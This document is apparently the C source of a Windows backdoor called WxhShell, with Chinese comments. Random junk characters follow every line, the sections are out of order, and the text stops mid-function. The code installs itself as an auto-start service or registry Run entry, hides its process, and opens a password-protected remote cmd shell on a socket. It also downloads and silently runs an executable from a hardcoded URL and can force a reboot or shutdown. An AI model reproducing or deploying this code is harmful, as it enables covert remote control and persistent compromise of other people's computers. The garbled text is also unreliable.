  // 关机 V2Q$g^X'  
  case 'd': { [a[/_Sf{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /{2*WI;  
    if(Boot(SHUTDOWN)) t5k!W7C  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %3;Fgky  
    else { !4"sX+z9  
    closesocket(wsh); fpyz'   
    ExitThread(0); XK(`mEi  
    } qr\ !*\9  
    break; I<b?vR 'F  
    } VvbFp  
  // 获取shell MWk:sBCqr  
  case 's': { ;#GoGb4AM  
    CmdShell(wsh); jd`},X/  
    closesocket(wsh); S&C1TC  
    ExitThread(0); X8eJ4%  
    break; A?Qa 4i  
  } GnXNCeE`  
  // 退出 ivgpS5 M`Y  
  case 'x': { ajl 2I/D  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ChryJRuwv5  
    CloseIt(wsh); hlZ@Dq%f  
    break; SZ![%)83  
    } S/vf'gj  
  // 离开 rtJl _0`  
  case 'q': { tqPx$s  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); .V9e=yW!*  
    closesocket(wsh); zboF 1v`  
    WSACleanup(); fJ*:{48  
    exit(1); hw_JDv+  
    break; PALl sGlf  
        } C.:=lo B  
  } NBh%:tu7M  
  } #BK9 k>i  
xynw8;Y ,  
  // 提示信息 0XwHP{XaO  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :A46~UA!$  
} :^ i9]  
  } '+'CbWgY  
<<9Va.  
  return; ! ueN|8'  
} I[MgIr^  
h 6G/O`:  
// shell模块句柄 0rk]/--FGJ  
int CmdShell(SOCKET sock) jcCoan  
{ \hO2p6  
STARTUPINFO si; B (/U3}w-  
ZeroMemory(&si,sizeof(si)); kpwt]]e*  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hli|B+:m"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; Oh.ZPG=  
PROCESS_INFORMATION ProcessInfo; "o!{51!'  
char cmdline[]="cmd"; / il@`w;G  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 5lKJll^2:  
  return 0; iVtl72O  
} q+SD6qM  
1PaUI#X"2F  
// 自身启动模式 Q0?\]2eet9  
int StartFromService(void) :vx$vZb  
{ A|#`k{+1-  
typedef struct L(;WxHL  
{  , iNv'  
  DWORD ExitStatus; JN/UUfj  
  DWORD PebBaseAddress; 4Ph0:^i_  
  DWORD AffinityMask; vP%tk s+.  
  DWORD BasePriority; ~ jU/<~s  
  ULONG UniqueProcessId; Hi! Jj  
  ULONG InheritedFromUniqueProcessId; 80}+MWdo  
}   PROCESS_BASIC_INFORMATION; "}WJd$  
o 6{\Zzp  
PROCNTQSIP NtQueryInformationProcess; S&O3HC  
p]D]: Z}P  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Op.8a`XLt&  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; @YvOoTyb  
yn AB  
  HANDLE             hProcess; VO3pm6r5  
  PROCESS_BASIC_INFORMATION pbi; 5F+APz7  
K`}{0@ilCw  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); $lIWd  
  if(NULL == hInst ) return 0; idc`p?XP  
_Jz8{` "  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); aeyNdMk -  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); D'<VYl"/  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); l@j.hTO<  
vg Ipj3u  
  if (!NtQueryInformationProcess) return 0; A*h{Lsx;  
i LBvGZ<9  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); +.B<Hd  
  if(!hProcess) return 0; t9gfU5?  
:pX`?Ew`g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; _i_Q?w`  
C-eA8pYY/  
  CloseHandle(hProcess); -Ue$T{;RoH  
\mM<\-'p  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); |rw%FM{F  
if(hProcess==NULL) return 0; N(6|yZ<J3M  
mM.*b@d-  
HMODULE hMod; Eh</? Qv\  
char procName[255]; z@|dzvjl Q  
unsigned long cbNeeded; A$0H .F>  
j!~l,::$"X  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); Kyt)2p  
hD,:w%M  
  CloseHandle(hProcess); Tl]e%A`|  
$yDWu"R8  
if(strstr(procName,"services")) return 1; // 以服务启动 vgt]:$  
M4LP$N  
  return 0; // 注册表启动 :,;K>l^U  
} l:;PXy6)  
FLal}80.o:  
// 主模块 B0$:b !  
int StartWxhshell(LPSTR lpCmdLine) _CBWb  
{ `=+^|Y}  
  SOCKET wsl; ]=rht9),"  
BOOL val=TRUE; hDP/JN8y  
  int port=0; c@[:V  
  struct sockaddr_in door; WtQ8X|\`  
4EI7W,y  
  if(wscfg.ws_autoins) Install();  %R#L  
e:E0"<  
port=atoi(lpCmdLine); {u{@ jp  
@}_WE,r  
if(port<=0) port=wscfg.ws_port; 8bK|:B#6,  
!?f5>Bl  
  WSADATA data; _EnwME {@  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; C$Lu]pIL*  
r0t^g9K0  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   (2ur5uk+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); H~eRT1  
  door.sin_family = AF_INET; !IU.a90V  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o56`  
  door.sin_port = htons(port); T J^u"j-'  
dF0,Y?  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { a)Q!'$"'  
closesocket(wsl); |yyO q  
return 1; B!{d-gb  
} ~ * :F{  
6K cD&S/  
  if(listen(wsl,2) == INVALID_SOCKET) { k$ 5 s{q  
closesocket(wsl); g 6]epp[8  
return 1; eAUcv`[#p  
} LZPuDf~/  
  Wxhshell(wsl); a8u 9aEB  
  WSACleanup(); 1XG!$ 4DW  
I{JU-J k|  
return 0; 4p%A8%/q  
M)*\a/6?{  
} 6-`|:[Q~  
MUOa@O,  
// 以NT服务方式启动 bQe^Px5 !.  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 4p;aS$Q  
{ 5tJ,7Y'  
DWORD   status = 0; kP#e((f,  
  DWORD   specificError = 0xfffffff; A,su;Q h  
i'd2[A.7I  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ,h|qi[7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; (%iRaw7hp  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; MRU7W4W-~/  
  serviceStatus.dwWin32ExitCode     = 0; tH=P6vY  
  serviceStatus.dwServiceSpecificExitCode = 0; ,Vd\m"K{  
  serviceStatus.dwCheckPoint       = 0; b[z]CP  
  serviceStatus.dwWaitHint       = 0; jVLA CWH  
}:: S 0l  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); MT(o"ltQ  
  if (hServiceStatusHandle==0) return; PcB_oG g  
f >BWG`  
status = GetLastError(); #T`t79*N  
  if (status!=NO_ERROR) 8x`.26p  
{ fQrhsuCrC  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; (mxT2"fC  
    serviceStatus.dwCheckPoint       = 0; Ehz o05/!  
    serviceStatus.dwWaitHint       = 0; Va Z!.#(P  
    serviceStatus.dwWin32ExitCode     = status; dd2[yKC`  
    serviceStatus.dwServiceSpecificExitCode = specificError; &`b "a!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); d0'J C*  
    return; |6G m:jV  
  } +q6ydb,  
'` 'GK&)  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; [m^+,%m5]  
  serviceStatus.dwCheckPoint       = 0; Cg*H.f%Mr  
  serviceStatus.dwWaitHint       = 0; y@CHR  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Lb LiB*D#s  
} Y*_)h\f  
<2C7<7{7  
// 处理NT服务事件,比如:启动、停止 at2FmBdu C  
VOID WINAPI NTServiceHandler(DWORD fdwControl) :Xc@3gF  
{ m*e{\)rd#  
switch(fdwControl) zy*/T>{#  
{ -}K<ni6  
case SERVICE_CONTROL_STOP: 9&<x17'  
  serviceStatus.dwWin32ExitCode = 0; B|o2K}%f  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \OlmF<~  
  serviceStatus.dwCheckPoint   = 0; ?UM*Xah  
  serviceStatus.dwWaitHint     = 0; keRE==(D  
  { Em[DHfu1Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 04r$>#E  
  } L(GjZAP  
  return; j*xV!DqC  
case SERVICE_CONTROL_PAUSE: c8Z wr]DF  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; vb9OonE2  
  break; E2)h ?cs  
case SERVICE_CONTROL_CONTINUE: hsu{eyp  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; fnx-s{c?  
  break; fdONP>K[E  
case SERVICE_CONTROL_INTERROGATE: UMX@7a,[3  
  break; (a9d/3M  
}; \.M*lqI  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); TLehdZ>^  
} bLt.O(T}  
boG_f@dv(  
// 标准应用程序主函数 1+?N#Fh  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) "RIZV  
{ fNGZo  
HR}bbsqxVf  
// 获取操作系统版本 #c^^=Z  
OsIsNt=GetOsVer(); +iOKbc'  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 9@+5LZR  
VK@!lJ u!  
  // 从命令行安装  Q1@A2+ c  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9mZ  
|Ph3#^rM?  
  // 下载执行文件 "`N-*;*W  
if(wscfg.ws_downexe) { \W,I?Kx$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) KZPEG!-5  
  WinExec(wscfg.ws_filenam,SW_HIDE); B=|cS;bM$3  
} X$/2[o#g  
I-OJVZ( V  
if(!OsIsNt) { a22XDes=  
// 如果时win9x,隐藏进程并且设置为注册表启动 1;VHM'  
HideProc(); cX3lt5  
StartWxhshell(lpCmdLine); ws4cF N9P?  
} W`^@)|9^)  
else E!S 78 z:  
  if(StartFromService()) _V`DWR *  
  // 以服务方式启动 g}]t[}s1]  
  StartServiceCtrlDispatcher(DispatchTable); # W"=ry3{  
else ?6'rBH/w  
  // 普通方式启动 HV<Lf 6gE  
  StartWxhshell(lpCmdLine); 1'? 4m0W1  
R :B^  
return 0; qe5feky  
} `-LGU7~+  
(Cq n6 dWK  
:%IoME   
6-O_\Cq8  
=========================================== m#=z7.XrX  
$ `7^+8vHV  
_YRE (YZ/  
sJNFFOz  
$ MC)}l  
GgKEP,O  
" )p*}e8L  
.1LCXW=  
#include <stdio.h> F:aILx  
#include <string.h>  W%\C_  
#include <windows.h> r7qh>JrO  
#include <winsock2.h> E lUEteZ  
#include <winsvc.h> 6uR^%W8]  
#include <urlmon.h> }NB}"%2  
@V!r"Bkg.  
#pragma comment (lib, "Ws2_32.lib") bV"G~3COy  
#pragma comment (lib, "urlmon.lib") 5 (A5Y-B  
cp h:y  
#define MAX_USER   100 // 最大客户端连接数 NFv>B>  
#define BUF_SOCK   200 // sock buffer n'emN Ra  
#define KEY_BUFF   255 // 输入 buffer 0V?F'<qy  
8g7<KKw  
#define REBOOT     0   // 重启 -44&#l^}_u  
#define SHUTDOWN   1   // 关机 j)q\9#sI/(  
{p,]oOq\  
#define DEF_PORT   5000 // 监听端口 NF? vg/{  
)+fh-Ui  
#define REG_LEN     16   // 注册表键长度 ZK)%l~J  
#define SVC_LEN     80   // NT服务名长度 33}oO,}t,  
fum0>tff  
// 从dll定义API  Tgl}  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A<y nIs<  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); G$sA`<<  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 71l%MH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); TiH) 5  
`/_G$_  
// wxhshell配置信息 4ni3kmvX  
struct WSCFG { M+x,opl  
  int ws_port;         // 监听端口 "!EcbR  
  char ws_passstr[REG_LEN]; // 口令 Fgh]KQ/5  
  int ws_autoins;       // 安装标记, 1=yes 0=no QPq7R  
  char ws_regname[REG_LEN]; // 注册表键名 KZeQ47|  
  char ws_svcname[REG_LEN]; // 服务名 0Zg%+)iy@  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 0#MqD[U(  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 //aF5 :Y#  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gw1@KKg  
int ws_downexe;       // 下载执行标记, 1=yes 0=no =)7s$ p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" LcE+GC  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ."Y e\>k  
bwl|0"f+`  
}; \Acqr@D  
Pfs;0}h5  
// default Wxhshell configuration M.>l#4s,'  
struct WSCFG wscfg={DEF_PORT, 2;?I>~  
    "xuhuanlingzhe", )YqXRm  
    1, T' ~!9Q  
    "Wxhshell", )l#E}Uz  
    "Wxhshell", ^,]B@ t2  
            "WxhShell Service", !*OJ.W&  
    "Wrsky Windows CmdShell Service", .(WQYOMl0  
    "Please Input Your Password: ", Hik3wPnp  
  1, m?&1yU9  
  "http://www.wrsky.com/wxhshell.exe", Y &K;l_  
  "Wxhshell.exe" B2O}1.  
    }; plZ>03(6Q  
wKsT7c'  
// 消息定义模块 ki)#d' }  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; w[ ~#av9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6VhjJJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y  TDNNK  
char *msg_ws_ext="\n\rExit."; Kde9 $  
char *msg_ws_end="\n\rQuit."; 3@]SKfoo1  
char *msg_ws_boot="\n\rReboot..."; >i6yl5s  
char *msg_ws_poff="\n\rShutdown..."; aT`%;i^  
char *msg_ws_down="\n\rSave to "; 3Gip<\$v  
fS`$'BQ  
char *msg_ws_err="\n\rErr!"; gatB QwJb9  
char *msg_ws_ok="\n\rOK!"; 'R:"5d  
zi3\63D3eO  
char ExeFile[MAX_PATH]; pn^ d]rou?  
int nUser = 0; l(#)WWr+  
HANDLE handles[MAX_USER]; dYgXtl=#j  
int OsIsNt; T|6a("RL  
&sd}ulEg`  
SERVICE_STATUS       serviceStatus; Tq4-wE+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; W='> :H  
U,.![TP  
// 函数声明 n9xAPB }  
int Install(void); tmtT (  
int Uninstall(void); ::/j$bL  
int DownloadFile(char *sURL, SOCKET wsh); vZBc !AW  
int Boot(int flag); E^ SH\5B  
void HideProc(void); zO MA  
int GetOsVer(void); 9*(aU z9j  
int Wxhshell(SOCKET wsl); |*0<M(YXN  
void TalkWithClient(void *cs); Ho *AAg  
int CmdShell(SOCKET sock); f-7 1~  
int StartFromService(void); *~x/=.}  
int StartWxhshell(LPSTR lpCmdLine); 0/oyf]HR  
9,"L^W8"k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); c=`wg$2:5  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); l c '=mA  
@Rw!'T  
// 数据结构和表定义 c7FRI0X  
SERVICE_TABLE_ENTRY DispatchTable[] = :EA\)@^$R  
{ TU 1I} ,  
{wscfg.ws_svcname, NTServiceMain}, lgtC|k M=  
{NULL, NULL} ` 5C~  
}; D= h)&  
=%BZ9,l  
// 自我安装 ~7Tc$ "I  
int Install(void) =pC3~-;3  
{ c?,i3s+2Y  
  char svExeFile[MAX_PATH]; (#E.`e1#6  
  HKEY key; smDw<slC  
  strcpy(svExeFile,ExeFile); u5%7}<nNi  
5EfS^MRf\n  
// 如果是win9x系统,修改注册表设为自启动 q+vx_4  
if(!OsIsNt) { I=NZokfS  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { xcf%KXJf6  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); oGRhnP'PF+  
  RegCloseKey(key); [ra_ 2R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G-.^O,%  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A, LuD.8  
  RegCloseKey(key); i?F >+  
  return 0; _\GC(  
    } $"H{4 x`-  
  } E0?iXSJ  
} AlIpsJ[UU  
else { ut I"\1hQ  
Aj4T"^fv  
// 如果是NT以上系统,安装为系统服务 gE?| _x#  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?n ZY)  
if (schSCManager!=0) d|yAs5@  
{ }-6)gWe  
  SC_HANDLE schService = CreateService }-sdov<<  
  ( +qwjbA+  
  schSCManager, L-k@-)98  
  wscfg.ws_svcname, ynhmMy%  
  wscfg.ws_svcdisp, ?C A,  
  SERVICE_ALL_ACCESS, 8Bjib&im  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9*1,!%]  
  SERVICE_AUTO_START, M L>[^F  
  SERVICE_ERROR_NORMAL, W!>.$4Q9  
  svExeFile, k|H:  
  NULL, 6gs01c,BA  
  NULL,  #c66)  
  NULL, |YY_^C`"-  
  NULL, &E=>Hj(dTG  
  NULL UaB @  
  ); 8 {X"h#  
  if (schService!=0) 3^6 d]f  
  { ikSt"}/hd  
  CloseServiceHandle(schService); -xA2pYz"  
  CloseServiceHandle(schSCManager); PJL=$gBgKk  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Rw:*'1  
  strcat(svExeFile,wscfg.ws_svcname); HEM9E&rL  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ssN6M./6  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 3S}Pm2D2  
  RegCloseKey(key); w_{wBL[3e  
  return 0; hK,Sf ;5V  
    } [6XF=L,!  
  } Xn%pNxUL  
  CloseServiceHandle(schSCManager); 9uA>N  
} ]h %Wiw  
} u2?|Ue@[  
z3;*Em8Ir  
return 1; _zwG\I|Q  
} &H`jL4S  
T r1?620  
// 自我卸载 ,^. 88<  
int Uninstall(void) S_IUV)  
{ = < oBgD0k  
  HKEY key; ry`z(f  
ZU%[guf  
if(!OsIsNt) { >)M`IU[d^.  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T, )__h  
  RegDeleteValue(key,wscfg.ws_regname); 428>BQA  
  RegCloseKey(key); |='z{WS  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { z-.+x3&o @  
  RegDeleteValue(key,wscfg.ws_regname); 1NgCw\  
  RegCloseKey(key); 9vvx*rD  
  return 0; 5Ezw ~hn  
  } @3C>BLI8+  
} =t H:,SH  
} VYk!k3qS  
else { jGpN,/VQa  
Tw;3_Lj  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ([m mPyp>L  
if (schSCManager!=0) 9E>|=d|(d  
{ xY^ %&n  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 75/(??2  
  if (schService!=0) 2bkX}FWd;  
  { 'g m0)r  
  if(DeleteService(schService)!=0) { A"G 1^8wvX  
  CloseServiceHandle(schService); ^Uf]Q$uCjE  
  CloseServiceHandle(schSCManager); sEGO2xeI  
  return 0; .@@?Pj?)  
  } ^!<BQP7  
  CloseServiceHandle(schService); L"4mL,  
  } ^5h]Y;tx  
  CloseServiceHandle(schSCManager); ;E3>ay6m8  
} SfaQvstN  
} $4 S@  
[nrYpb4  
return 1; dE4L=sTEsy  
} sE Q=dcK  
3 +G$-ru  
// 从指定url下载文件 bj>v|#r^  
int DownloadFile(char *sURL, SOCKET wsh) rzm:Yx  
{ fj;y}t1E]  
  HRESULT hr; n O\"HLM  
char seps[]= "/"; 0dGAP  
char *token; 5n9B?T8C  
char *file; P'Ux%Q+B>  
char myURL[MAX_PATH]; UJ CYs`y  
char myFILE[MAX_PATH]; (2^gVz=j  
2[O&NdP\Zk  
strcpy(myURL,sURL); /2=#t-p+  
  token=strtok(myURL,seps); {pnS  Q  
  while(token!=NULL) 3@M|m<_R$  
  { { + Zd*)M[  
    file=token; hp5|@  
  token=strtok(NULL,seps); '+?"iVVo  
  } mUdOX7$c>  
0"\H^  
GetCurrentDirectory(MAX_PATH,myFILE); @M_oH:GV  
strcat(myFILE, "\\"); 4GY[7^  
strcat(myFILE, file); Rld!,t  
  send(wsh,myFILE,strlen(myFILE),0); y)W@{@{kl  
send(wsh,"...",3,0); qQ?"@>PALD  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); -y8`yHb_  
  if(hr==S_OK) =E.t`x=  
return 0; 117EZg]O  
else m g4nrr\  
return 1; V9{]OV%  
S~;4*7+?:  
} 1^7hf;|#g  
w&o&jAb-M  
// 系统电源模块 $Bs {u=+w  
int Boot(int flag) )ttUWy$w  
{ =F]FP5V  
  HANDLE hToken; +wN^c#~7  
  TOKEN_PRIVILEGES tkp; ,y 2$cO_>  
j}JrE,|  
  if(OsIsNt) { *KV0%)}sbL  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s/q7.y7n{  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); iS WU'K  
    tkp.PrivilegeCount = 1; R3;Tk^5A  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;  CohDO  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Rv$[)`&T  
if(flag==REBOOT) { &U5{Hm9Ynr  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) =u2l. CX  
  return 0; ]yx$(6_U  
} E[@ u 3i8  
else { <SgM@0m  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) `_`QxM  
  return 0; `.FF!P:{C*  
} M^r1S  
  } [<g?WPCcC  
  else { pgI^4h  
if(flag==REBOOT) { Lvq>v0|  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) GT}F9F~  
  return 0; VEqS;~[  
} }L+L"l&  
else { A+"ia1p,}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Sa?ksD2IaB  
  return 0; g*e   
} 7hlO#PYZ  
} _aad=BrMK  
k.vBj~xU  
return 1; 9F)z4  
} J'SZ  
u09:Z{tL;@  
// win9x进程隐藏模块 -0$55pa/@:  
void HideProc(void) >VP= MbN  
{ `\gnl'  
E*V`":efS  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); s.N7qO^:E  
  if ( hKernel != NULL ) aE&,]'6  
  { m#PY,y  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y^8C)p9r  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); E .7  
    FreeLibrary(hKernel); e;Ti&o}  
  } !`g~F\l  
-@yh> 8v  
return; [ sN EHf  
} (@<lRA ^  
6r"eN%m  
// 获取操作系统版本 wkA+j9.  
int GetOsVer(void) !}v=N";c  
{ Oiz ,w7LRh  
  OSVERSIONINFO winfo; Ljxz.2LGr  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); tyXuG<  
  GetVersionEx(&winfo); B_nVP  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WN?O'E=2  
  return 1; Rot@x r7Hc  
  else .S(TxksCz  
  return 0; cZB7fmq%  
} T>}5:,N~  
L+Xc-uv["p  
// 客户端句柄模块 *1p|5!4c  
int Wxhshell(SOCKET wsl) 4wa`<H&S5  
{ QDs^Ije  
  SOCKET wsh; PP;}e  
  struct sockaddr_in client; +BVym~*^  
  DWORD myID; zLD0RBj7p  
zVXC1u9B  
  while(nUser<MAX_USER) Ir`eL  
{ /<@SFF.  
  int nSize=sizeof(client); ,&j hlZ i  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); a`&f  
  if(wsh==INVALID_SOCKET) return 1; { /K.3  
0E,8R{e  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 0 fF(Z0R,  
if(handles[nUser]==0) Pz>s6 [ob  
  closesocket(wsh); R:e<W/P"  
else hd>aZ"nm1  
  nUser++; _/uFsYC  
  } K/tRe/t }  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); u<3HQ.:;  
OMWbZ>jB  
  return 0; U1DXe h~V  
} rai3<_W<  
ROg(U8 N  
// 关闭 socket 0fb`08,^  
void CloseIt(SOCKET wsh) u.d).da  
{ pP*zq"o  
closesocket(wsh); C\/xl#e<@  
nUser--; co~Pyj  
ExitThread(0); :=/85\P0SU  
} i@P)a'W_  
p2n0Z\2  
// 客户端请求句柄 Ge-CY  
void TalkWithClient(void *cs) tk!t Y8j  
{ TD'L'm|2  
GNXHM*~  
  SOCKET wsh=(SOCKET)cs; 6l5:1|8b,!  
  char pwd[SVC_LEN]; 'MEz|Z  
  char cmd[KEY_BUFF]; LQ(yScA@  
char chr[1]; [s"O mAy4  
int i,j; 4{hps.$?~  
X%Z{K-  
  while (nUser < MAX_USER) { oFy=-p+C  
`tHvD=`m.  
if(wscfg.ws_passstr) { i`Q KH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); +W:= e,=  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); =U#dJ^4P  
  //ZeroMemory(pwd,KEY_BUFF); OUeyklw  
      i=0; M)eO6oX|  
  while(i<SVC_LEN) { B:gjAb}9T  
*of3:w  
  // 设置超时 JRSSn]pw  
  fd_set FdRead; 19O,a#{KHf  
  struct timeval TimeOut; $^OvhnL/  
  FD_ZERO(&FdRead); R A KFU  
  FD_SET(wsh,&FdRead); d]:I(9K  
  TimeOut.tv_sec=8; Xe<sJ. &Wf  
  TimeOut.tv_usec=0; ]$Yvj!K*Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Fs{x(_LOr  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q;<h[b?  
~aMlr6;  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); A*2  bA  
  pwd=chr[0]; _AQb6Nb  
  if(chr[0]==0xd || chr[0]==0xa) { ^aH \7J@Y  
  pwd=0; 5jd,{<  
  break; 4a'N>eDR  
  } b~'"^ Bts*  
  i++; V,q](bg  
    } Pa{%\dsv  
Sx?ua<`:d  
  // 如果是非法用户,关闭 socket JHz [7  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); pQshUm"_  
} S `#w+C#EW  
B$b +Ymu  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); in~D  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); '+osf'&  
.q9 $\wM/  
while(1) { 7w'wjX-  
ep2k%?CX 1  
  ZeroMemory(cmd,KEY_BUFF); a^`rtvT  
3 ):A   
      // 自动支持客户端 telnet标准   NF+iza;DP  
  j=0; Z&|Kki*  
  while(j<KEY_BUFF) { n^z]q;IN2.  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); {B[=?6tQ  
  cmd[j]=chr[0]; 8-BflejX  
  if(chr[0]==0xa || chr[0]==0xd) { l-SAC3qhG  
  cmd[j]=0; &;+ -?k|  
  break; a"FCZ.O1  
  } BReJ!|{m}  
  j++; 4:|S` jm  
    } +pR[U4$  
kuol rfGB  
  // 下载文件 ;?8_G%va  
  if(strstr(cmd,"http://")) { tS|(K=$  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); xYmxc9)2  
  if(DownloadFile(cmd,wsh)) ,=Mt`aN  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); c- }X_)U }  
  else c17_2 @N  
